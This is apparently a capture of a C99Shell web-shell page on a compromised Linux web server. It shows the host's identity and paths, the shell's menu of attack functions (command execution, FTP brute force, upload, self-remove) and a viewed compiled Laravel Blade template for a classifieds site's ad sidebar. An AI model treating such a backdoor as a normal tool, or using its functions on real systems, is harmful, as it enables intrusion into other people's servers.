!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/storage/framework/views/   drwxr-xr-x
Free 28.29 GB of 117.98 GB (23.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     88b4e89db0aa4d3ebfabdda84ca8b2bd.php (29.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php $attributes ??= new \Illuminate\View\ComponentAttributeBag?>
<?php 
foreach($attributes->onlyProps([
    
'ad' => null,
    
'hidereport' => false,
]) as 
$__key => $__value) {
    $
$__key = $$__key ?? $__value;
?>
<?php $attributes 
$attributes->exceptProps([
    
'ad' => null,
    
'hidereport' => false,
]); 
?>
<?php 
foreach (array_filter(([
    
'ad' => null,
    
'hidereport' => false,
]), 
'is_string'ARRAY_FILTER_USE_KEY) as $__key => $__value) {
    $
$__key = $$__key ?? $__value;
?>
<?php $__defined_vars 
get_defined_vars(); ?>
<?php 
foreach ($attributes as $__key => $__value) {
    if (
array_key_exists($__key$__defined_vars)) unset($$__key);
?>
<?php 
unset($__defined_vars); ?>

<div class="border border-gray-100 rounded-l-lg">
    <div class="flex flex-col">
        <div class="pt-5 pb-4 px-5">
            <h3 class="text-error-500 heading-04 mb-1">
                <?php echo e(changeCurrency($ad?->price)); ?>

            </h3>
        </div>
        <div class="py-4 px-5 bg-gray-50" x-data="{ reveal: false }" @click="reveal= !reveal" role="button">
            <h4 class="text-lg leading-6 font-semibold" :class="reveal ? 'mb-0' : 'mb-1'">
                <span x-show="!reveal" x-cloak>
                    <?php echo e($ad?->phone Str::limit($ad?->phone4'XXXXXX') : 'xxxxx'); ?>

                </span>
                <span x-show="reveal" x-cloak><?php echo e($ad?->phone); ?></span>
            </h4>
            <span class="text-gray-600 body-xs-400" x-cloak x-transition
                x-show="!reveal"><?php echo e(__('reveal_phone_number')); ?></span>
        </div>
        <div class="py-4 px-5 flex flex-col gap-3">
            <?php if(auth('user')->check()): ?>
                <button type="button" class="btn-primary w-full"
                    data-modal-target="messsageSendModal<?php echo e($ad->id); ?>"
                    data-modal-toggle="messsageSendModal<?php echo e($ad->id); ?>">
                    <?php if (isset($component)) { $__componentOriginal812cb51aa9e040a4d59d1b88851f943f $component; } ?>
<?php 
if (isset($attributes)) { $__attributesOriginal812cb51aa9e040a4d59d1b88851f943f $attributes; } ?>
<?php $component 
Illuminate\View\AnonymousComponent::resolve(['view' => 'components.frontend.icons.chat','data' => []] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component
->withName('frontend.icons.chat'); ?>
<?php 
if ($component->shouldRender()): ?>
<?php $__env
->startComponent($component->resolveView(), $component->data()); ?>
<?php 
if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?>
<?php $attributes 
$attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php 
endif; ?>
<?php $component
->withAttributes([]); ?>
<?php 
echo $__env->renderComponent(); ?>
<?php 
endif; ?>
<?php 
if (isset($__attributesOriginal812cb51aa9e040a4d59d1b88851f943f)): ?>
<?php $attributes 
$__attributesOriginal812cb51aa9e040a4d59d1b88851f943f?>
<?php 
unset($__attributesOriginal812cb51aa9e040a4d59d1b88851f943f); ?>
<?php 
endif; ?>
<?php 
if (isset($__componentOriginal812cb51aa9e040a4d59d1b88851f943f)): ?>
<?php $component 
$__componentOriginal812cb51aa9e040a4d59d1b88851f943f?>
<?php 
unset($__componentOriginal812cb51aa9e040a4d59d1b88851f943f); ?>
<?php 
endif; ?>
                    <span><?php echo e(__('send_message')); ?></span>
                </button>
            <?php else: ?>
                <a href="<?php echo e(route('users.login')); ?>" class="btn-primary w-full login_required">
                    <?php if (isset($component)) { $__componentOriginal812cb51aa9e040a4d59d1b88851f943f $component; } ?>
<?php 
if (isset($attributes)) { $__attributesOriginal812cb51aa9e040a4d59d1b88851f943f $attributes; } ?>
<?php $component 
Illuminate\View\AnonymousComponent::resolve(['view' => 'components.frontend.icons.chat','data' => []] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component
->withName('frontend.icons.chat'); ?>
<?php 
if ($component->shouldRender()): ?>
<?php $__env
->startComponent($component->resolveView(), $component->data()); ?>
<?php 
if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?>
<?php $attributes 
$attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php 
endif; ?>
<?php $component
->withAttributes([]); ?>
<?php 
echo $__env->renderComponent(); ?>
<?php 
endif; ?>
<?php 
if (isset($__attributesOriginal812cb51aa9e040a4d59d1b88851f943f)): ?>
<?php $attributes 
$__attributesOriginal812cb51aa9e040a4d59d1b88851f943f?>
<?php 
unset($__attributesOriginal812cb51aa9e040a4d59d1b88851f943f); ?>
<?php 
endif; ?>
<?php 
if (isset($__componentOriginal812cb51aa9e040a4d59d1b88851f943f)): ?>
<?php $component 
$__componentOriginal812cb51aa9e040a4d59d1b88851f943f?>
<?php 
unset($__componentOriginal812cb51aa9e040a4d59d1b88851f943f); ?>
<?php 
endif; ?>
                    <span><?php echo e(__('send_message')); ?></span>
                </a>
            <?php endif; ?>
            
            <?php if($ad->whatsapp): ?>
                <a target="_blank" href="https://wa.me/<?php echo e($ad->whatsapp); ?>"
                    class="btn-secondary w-full hover:bg-success-50 text-success-500 !border-success-500">
                    <?php if (isset($component)) { $__componentOriginalf2ef6d622148d530f0a53f6db9f10d1f $component; } ?>
<?php 
if (isset($attributes)) { $__attributesOriginalf2ef6d622148d530f0a53f6db9f10d1f $attributes; } ?>
<?php $component 
Illuminate\View\AnonymousComponent::resolve(['view' => 'components.frontend.icons.whatsapp','data' => []] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component
->withName('frontend.icons.whatsapp'); ?>
<?php 
if ($component->shouldRender()): ?>
<?php $__env
->startComponent($component->resolveView(), $component->data()); ?>
<?php 
if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?>
<?php $attributes 
$attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php 
endif; ?>
<?php $component
->withAttributes([]); ?>
<?php 
echo $__env->renderComponent(); ?>
<?php 
endif; ?>
<?php 
if (isset($__attributesOriginalf2ef6d622148d530f0a53f6db9f10d1f)): ?>
<?php $attributes 
$__attributesOriginalf2ef6d622148d530f0a53f6db9f10d1f?>
<?php 
unset($__attributesOriginalf2ef6d622148d530f0a53f6db9f10d1f); ?>
<?php 
endif; ?>
<?php 
if (isset($__componentOriginalf2ef6d622148d530f0a53f6db9f10d1f)): ?>
<?php $component 
$__componentOriginalf2ef6d622148d530f0a53f6db9f10d1f?>
<?php 
unset($__componentOriginalf2ef6d622148d530f0a53f6db9f10d1f); ?>
<?php 
endif; ?>
                    <span><?php echo e(__('whatsapp_message')); ?></span>
                </a>
            <?php endif; ?>
            <?php if($ad->email): ?>
                <a href="mailto:<?php echo e($ad->email); ?>"
                    class="flex gap-2 heading-07 text-gray-700 hover:text-primary-500 justify-center items-center">
                    <?php if (isset($component)) { $__componentOriginal67bd7d3f7df2cd1ccae16dc3728488b9 $component; } ?>
<?php 
if (isset($attributes)) { $__attributesOriginal67bd7d3f7df2cd1ccae16dc3728488b9 $attributes; } ?>
<?php $component 
Illuminate\View\AnonymousComponent::resolve(['view' => 'components.frontend.icons.envelope','data' => []] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component
->withName('frontend.icons.envelope'); ?>
<?php 
if ($component->shouldRender()): ?>
<?php $__env
->startComponent($component->resolveView(), $component->data()); ?>
<?php 
if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?>
<?php $attributes 
$attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php 
endif; ?>
<?php $component
->withAttributes([]); ?>
<?php 
echo $__env->renderComponent(); ?>
<?php 
endif; ?>
<?php 
if (isset($__attributesOriginal67bd7d3f7df2cd1ccae16dc3728488b9)): ?>
<?php $attributes 
$__attributesOriginal67bd7d3f7df2cd1ccae16dc3728488b9?>
<?php 
unset($__attributesOriginal67bd7d3f7df2cd1ccae16dc3728488b9); ?>
<?php 
endif; ?>
<?php 
if (isset($__componentOriginal67bd7d3f7df2cd1ccae16dc3728488b9)): ?>
<?php $component 
$__componentOriginal67bd7d3f7df2cd1ccae16dc3728488b9?>
<?php 
unset($__componentOriginal67bd7d3f7df2cd1ccae16dc3728488b9); ?>
<?php 
endif; ?>
                    <span><?php echo e(__('email')); ?></span>
                </a>
            <?php endif; ?>
        </div>
        <a href="<?php echo e(route('frontend.seller.profile'$ad?->customer?->username)); ?>"
            class="group hover:bg-primary-50 dark:hover:bg-gray-500 transition-all duration-300 py-4 px-5 border-t border-gray-100">
            <div class="flex gap-2.5 items-center">
                <img class="w-12 h-12 rounded-full object-cover" src="<?php echo e(asset($ad?->customer?->image)); ?>"
                    alt="">
                <div>
                    <h3 class="body-md-500 group-hover:text-primary-500 text-gray-900 dark:text-white">
                        <?php echo e($ad?->customer?->name ?? ''); ?>

                    </h3>
                    <div class="body-sm-400 text-gray-500 dark:text-gray-100 flex items-center">
                        <?php if(hasMemberBadge($ad?->customer?->id)): ?>
                            <?php if (isset($component)) { $__componentOriginal29686125760b9da36a331239b8f330b7 $component; } ?>
<?php 
if (isset($attributes)) { $__attributesOriginal29686125760b9da36a331239b8f330b7 $attributes; } ?>
<?php $component 
Illuminate\View\AnonymousComponent::resolve(['view' => 'components.svg.verified-seller-badge-icon','data' => []] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component
->withName('svg.verified-seller-badge-icon'); ?>
<?php 
if ($component->shouldRender()): ?>
<?php $__env
->startComponent($component->resolveView(), $component->data()); ?>
<?php 
if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?>
<?php $attributes 
$attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php 
endif; ?>
<?php $component
->withAttributes([]); ?>
<?php 
echo $__env->renderComponent(); ?>
<?php 
endif; ?>
<?php 
if (isset($__attributesOriginal29686125760b9da36a331239b8f330b7)): ?>
<?php $attributes 
$__attributesOriginal29686125760b9da36a331239b8f330b7?>
<?php 
unset($__attributesOriginal29686125760b9da36a331239b8f330b7); ?>
<?php 
endif; ?>
<?php 
if (isset($__componentOriginal29686125760b9da36a331239b8f330b7)): ?>
<?php $component 
$__componentOriginal29686125760b9da36a331239b8f330b7?>
<?php 
unset($__componentOriginal29686125760b9da36a331239b8f330b7); ?>
<?php 
endif; ?>
                        <?php endif; ?>
                        <span><?php echo e(__('seller')); ?></span>
                    </div>
                </div>

            </div>
        </a>

        <!-- Report Ad Modal Button Start -->
        <?php if(!$hidereport && auth('user')->check() && $ad->user_id !== auth('user')->user()->id): ?>
            <div class="report py-4 px-5 border-t border-gray-100">
                <button type="button" data-modal-target="reportAdModal<?php echo e($ad->id); ?>"
                    data-modal-toggle="reportAdModal<?php echo e($ad->id); ?>"
                    class="inline-flex justify-center items-center">
                    <span class="icon mr-1">
                        <?php if (isset($component)) { $__componentOriginal43dde6d26da4928deb5d0cb81288b60c $component; } ?>
<?php 
if (isset($attributes)) { $__attributesOriginal43dde6d26da4928deb5d0cb81288b60c $attributes; } ?>
<?php $component 
Illuminate\View\AnonymousComponent::resolve(['view' => 'components.frontend.icons.warning','data' => ['stroke' => '#767E94']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component
->withName('frontend.icons.warning'); ?>
<?php 
if ($component->shouldRender()): ?>
<?php $__env
->startComponent($component->resolveView(), $component->data()); ?>
<?php 
if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?>
<?php $attributes 
$attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php 
endif; ?>
<?php $component
->withAttributes(['stroke' => '#767E94']); ?>
<?php 
echo $__env->renderComponent(); ?>
<?php 
endif; ?>
<?php 
if (isset($__attributesOriginal43dde6d26da4928deb5d0cb81288b60c)): ?>
<?php $attributes 
$__attributesOriginal43dde6d26da4928deb5d0cb81288b60c?>
<?php 
unset($__attributesOriginal43dde6d26da4928deb5d0cb81288b60c); ?>
<?php 
endif; ?>
<?php 
if (isset($__componentOriginal43dde6d26da4928deb5d0cb81288b60c)): ?>
<?php $component 
$__componentOriginal43dde6d26da4928deb5d0cb81288b60c?>
<?php 
unset($__componentOriginal43dde6d26da4928deb5d0cb81288b60c); ?>
<?php 
endif; ?>
                    </span>
                    <?php echo e(__('report_ad')); ?>

                </button>
            </div>
        <?php endif; ?>
        <!-- Report Ad Modal Button End -->

        <!-- Report Ad Button If Unauthorize -->
        <?php if(!$hidereport && !auth('user')->check() && $ad->user_id != auth('user')->id()): ?>
            <div class="report py-4 px-5 border-t border-gray-100">
                <a href="<?php echo e(route('users.login')); ?>" class="login_required inline-flex justify-center items-center">
                    <span class="icon mr-1">
                        <?php if (isset($component)) { $__componentOriginal43dde6d26da4928deb5d0cb81288b60c $component; } ?>
<?php 
if (isset($attributes)) { $__attributesOriginal43dde6d26da4928deb5d0cb81288b60c $attributes; } ?>
<?php $component 
Illuminate\View\AnonymousComponent::resolve(['view' => 'components.frontend.icons.warning','data' => ['stroke' => '#767E94']] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component
->withName('frontend.icons.warning'); ?>
<?php 
if ($component->shouldRender()): ?>
<?php $__env
->startComponent($component->resolveView(), $component->data()); ?>
<?php 
if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(Illuminate\View\AnonymousComponent::class))->getConstructor()): ?>
<?php $attributes 
$attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php 
endif; ?>
<?php $component
->withAttributes(['stroke' => '#767E94']); ?>
<?php 
echo $__env->renderComponent(); ?>
<?php 
endif; ?>
<?php 
if (isset($__attributesOriginal43dde6d26da4928deb5d0cb81288b60c)): ?>
<?php $attributes 
$__attributesOriginal43dde6d26da4928deb5d0cb81288b60c?>
<?php 
unset($__attributesOriginal43dde6d26da4928deb5d0cb81288b60c); ?>
<?php 
endif; ?>
<?php 
if (isset($__componentOriginal43dde6d26da4928deb5d0cb81288b60c)): ?>
<?php $component 
$__componentOriginal43dde6d26da4928deb5d0cb81288b60c?>
<?php 
unset($__componentOriginal43dde6d26da4928deb5d0cb81288b60c); ?>
<?php 
endif; ?>
                    </span>
                    <?php echo e(__('report_ad')); ?>

                </a>
            </div>
        <?php endif; ?>
        <!-- Report Ad Button If Unauthorize -->

    </div>
</div>
<?php if($cms->ads_safety_msg): ?>
    <div class="flex items-center p-4 text-sm text-yellow-800 rounded-lg bg-yellow-200 dark:bg-gray-800 dark:text-yellow-300"
        role="alert">
        <svg class="flex-shrink-0 inline w-4 h-4 me-3" aria-hidden="true" xmlns="http://www.w3.org/2000/svg"
            fill="currentColor" viewBox="0 0 20 20">
            <path
                d="M10 .5a9.5 9.5 0 1 0 9.5 9.5A9.51 9.51 0 0 0 10 .5ZM9.5 4a1.5 1.5 0 1 1 0 3 1.5 1.5 0 0 1 0-3ZM12 15H8a1 1 0 0 1 0-2h1v-3H8a1 1 0 0 1 0-2h2a1 1 0 0 1 1 1v4h1a1 1 0 0 1 0 2Z" />
        </svg>
        <div>
            <span
                class="font-medium"><?php echo e(__('never_prepay_for_deliveries_physically_inspect_goods_and_sellers_before_payment_templatecookie_connects_buyers_and_sellers_not_responsible_for_transactions')); ?></span>
        </div>
    </div>
<?php endif; ?>

<!-- Report Ad Modal Start -->
<?php if(!$hidereport): ?>
    <div id="reportAdModal<?php echo e($ad->id); ?>" tabindex="-1" aria-hidden="true"
        class="report-modal hidden overflow-y-auto overflow-x-hidden fixed top-0 right-0 left-0 z-50 bg-black/50 justify-center items-center w-full md:inset-0 h-[calc(100%)] max-h-full">
        <div class="relative p-4 w-full max-w-2xl max-h-full">
            <!-- Modal content -->
            <div class="relative bg-white rounded-lg shadow">

                <form action="<?php echo e(route('frontend.adReport')); ?>" method="post" x-data="{ report_type: '', report_description: '' }">
                    <?php echo csrf_field(); ?>
                    <input type="hidden" name="ad_id" value="<?php echo e($ad->id); ?>">
                    <input type="hidden" name="ad_slug" value="<?php echo e($ad->slug); ?>">


                    <!-- Modal header -->
                    <div class="flex items-center justify-between p-4 md:p-5 rounded-t">
                        <h3 class="text-xl font-semibold text-gray-900"><?php echo e(__('report_for_ad')); ?></h3>
                        <button type="button"
                            class="text-gray-400 bg-transparent hover:bg-gray-200 hover:text-gray-900 rounded-lg text-sm w-8 h-8 ms-auto inline-flex justify-center items-center "
                            data-modal-hide="reportAdModal<?php echo e($ad->id); ?>">
                            <svg class="w-3 h-3" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none"
                                viewBox="0 0 14 14">
                                <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round"
                                    stroke-width="2" d="m1 1 6 6m0 0 6 6M7 7l6-6M7 7l-6 6" />
                            </svg>
                        </button>
                    </div>

                    <!-- displaying flash messages -->
                    <div class="flash-messages p-4 pt-0 space-y-4"></div>
                    <div class="p-4 pt-0 space-y-4">
                        <label class="block text-sm font-medium leading-6 text-gray-900"
                            for="report_type"><?php echo e(__('i_would_like_to_report_for')); ?></label>

                        <div class="mb-3">
                            <select x-model="report_type" name="report_type" id="report_type"
                                class="block w-full text-sm text-gray-900 rounded-lg border border-gray-100 focus:ring-blue-500"
                                aria-label="Default select example">
                                <option value="" selected><?php echo e(__('select_report_reason')); ?></option>

                                <?php $__currentLoopData $ad_report_categories$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $category): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                                    <option value="<?php echo e($category->id); ?>"><?php echo e($category->name); ?></option>
                                <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                            </select>
                        </div>
                    </div>

                    <div class="p-4 pt-0 space-y-4">
                        <label class="block text-sm font-medium leading-6 text-gray-900"
                            for="report_description"><?php echo e(__('report_description')); ?></label>
                        <textarea x-model="report_description" name="report_description" id="report_description" rows="8" required
                            class="<?php $__errorArgs = ['report_description'];
$__bag $errors->getBag($__errorArgs[1] ?? 'default');
if (
$__bag->has($__errorArgs[0])) :
if (isset(
$message)) { $__messageOriginal $message; }
$message $__bag->first($__errorArgs[0]); ?> border-red-600 focus:ring-red-600 <?php else: ?> border-gray-100 focus:ring-blue-500 <?php unset($message);
if (isset(
$__messageOriginal)) { $message $__messageOriginal; }
endif;
unset(
$__errorArgs$__bag); ?> block w-full text-sm text-gray-900 rounded-lg border"
                            placeholder="<?php echo e(__('type_report_description_here')); ?>"></textarea>
                        <?php $__errorArgs = ['report_description'];
$__bag $errors->getBag($__errorArgs[1] ?? 'default');
if (
$__bag->has($__errorArgs[0])) :
if (isset(
$message)) { $__messageOriginal $message; }
$message $__bag->first($__errorArgs[0]); ?>
                            <span class="invalid-feedback d-block text-red-600"><?php echo e($message); ?></span>
                        <?php unset($message);
if (isset(
$__messageOriginal)) { $message $__messageOriginal; }
endif;
unset(
$__errorArgs$__bag); ?>
                    </div>

                    <div class="flex items-center justify-center p-4 pt-3 rounded-b">
                        <button :disabled="!report_type.length || !report_description.length" id="submit-button"
                            type="submit" class="btn-primary ad-report-submit-btn">
                            <?php echo e(__('submit_for_review')); ?>

                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>

<?php endif; ?>
<!-- Report Ad Modal End -->

<?php
    $not_same_user 
auth('user')->check() && $ad && $ad?->customer && auth('user')->user()->username !== $ad->customer->username;
?>

<!-- Messenger Modal Start -->
<?php if(auth()->guard()->check()): ?>
    <div id="messsageSendModal<?php echo e($ad->id); ?>" tabindex="-1" aria-hidden="true"
        class="hidden overflow-y-auto overflow-x-hidden fixed top-0 right-0 left-0 z-[999] bg-black/50 justify-center items-center w-full md:inset-0 h-[calc(100%-1rem)] max-h-full">
        <div class="relative p-4 w-full max-w-2xl max-h-full" x-data="{ meseage: '' }">
            <div class="relative bg-white dark:bg-gray-700 rounded-lg shadow">
                <form action="<?php echo e($not_same_user route('frontend.message.send') : url()->current()); ?>"
                    method="<?php echo e($not_same_user 'post' 'get'); ?>">
                    <?php echo csrf_field(); ?>
                    <input type="hidden" name="to_id" value="<?php echo e($ad->user_id); ?>">
                    <input type="hidden" name="ad_id" value="<?php echo e($ad->id); ?>">

                    <!-- Modal header -->
                    <div class="flex items-center justify-between p-4 md:p-5 rounded-t ">
                        <h3 class="text-xl font-semibold text-gray-900 "><?php echo e(__('send_message')); ?></h3>
                        <button type="button"
                            class="text-gray-400 bg-transparent hover:bg-gray-200 hover:text-gray-900 rounded-lg text-sm w-8 h-8 ms-auto inline-flex justify-center items-center "
                            data-modal-hide="messsageSendModal<?php echo e($ad->id); ?>">
                            <svg class="w-3 h-3" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none"
                                viewBox="0 0 14 14">
                                <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round"
                                    stroke-width="2" d="m1 1 6 6m0 0 6 6M7 7l6-6M7 7l-6 6" />
                            </svg>
                        </button>
                    </div>

                    <div class="p-4 md:p-5 space-y-4">
                        <label for="meseage"><?php echo e(__('message')); ?></label>
                        <textarea x-model="meseage" required name="body" id="meseage" required rows="6"
                            class=" block p-2.5 w-full text-sm text-gray-900 rounded-lg border border-gray-100 focus:ring-blue-500 "
                            placeholder="<?php echo e(__('send_message')); ?>..."></textarea>
                    </div>

                    <div class="flex items-center p-4 md:p-5 rounded-b ">
                        <?php if($not_same_user): ?>
                            <button :disabled="!meseage.length" type="submit" class="btn-primary">
                                <?php echo e(__('send')); ?>

                            </button>
                        <?php else: ?>
                            <span>
                                <?php echo e(__('you_cant_send_message_to_yourself')); ?>

                            </span>
                        <?php endif; ?>
                    </div>
                </form>
            </div>
        </div>
    </div>
<?php endif; ?>
<!-- Messenger Modal End -->

<?php $__env->startPush('js'); ?>
    <script>
        // Reson modal script start
        $(document).ready(function() {
            $('#submit-button').click(function(e) {
                e.preventDefault();

                var form = $('#reportAdModal<?php echo e($ad->id); ?> form');
                var formData = form.serialize();

                $.ajax({
                    type: 'POST',
                    url: form.attr('action'),
                    data: formData,
                    success: function(data) {
                        // Clear existing flash messages
                        $('.flash-messages').empty();

                        if (data.success) {
                            // Create a text node with the message
                            var successMessage = document.createTextNode(data.message);
                            var successAlert = $(
                                    '<div class="rounded-md bg-green-50 p-4 text-green-800"></div>'
                                )
                                .append(successMessage);
                            // Append the success message to the flash-messages element
                            // $('.flash-messages').append(successAlert);

                            // Optionally, you can clear the form or close the modal here
                            $('#report_type').val(''); // Clear the textarea
                            $('#report_description').val(''); // Clear the textarea
                            window.location.href = data.redirectUrl;
                        } else {
                            // Create a text node with the message
                            var errorMessage = document.createTextNode(data.message);
                            var errorAlert = $(
                                    '<div class="rounded-md bg-red-50 p-4 text-red-800"></div>')
                                .append(
                                    errorMessage);
                            // Append the error message to the flash-messages element
                            $('.flash-messages').append(errorAlert);
                        }
                    },
                    error: function(xhr, status, error) {
                        // Handle AJAX error
                        $('.flash-messages').empty();
                        if (xhr.status === 422) {
                            // If the status code is 422 (validation error), display validation errors
                            var errors = JSON.parse(xhr.responseText);
                            var errorHtml =
                                '<div class="rounded-md bg-red-50 p-4 text-red-800"><ul>';
                            $.each(errors.errors, function(key, value) {
                                errorHtml += '<li>' + value + '</li>';
                            });
                            errorHtml += '</ul></div>';
                            $('.flash-messages').html(errorHtml);
                        } else {
                            // Handle other errors
                            // Create a text node with the error message
                            var errorText = document.createTextNode('An error occurred: ' +
                                error);
                            var errorAlert = $(
                                    '<div class="rounded-md bg-red-50 p-4 text-red-800"></div>')
                                .append(
                                    errorText);
                            // Append the error message to the flash-messages element
                            $('.flash-messages').append(errorAlert);
                        }
                    }
                });
            });
        });
        // Reson modal script end
    </script>
<?php $__env->stopPush(); ?>
<?php 
/**PATH E:\add listing 8-9-25\addListing\resources\views/components/frontend/ad-card/details/sidebar-top.blade.php ENDPATH**/ ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--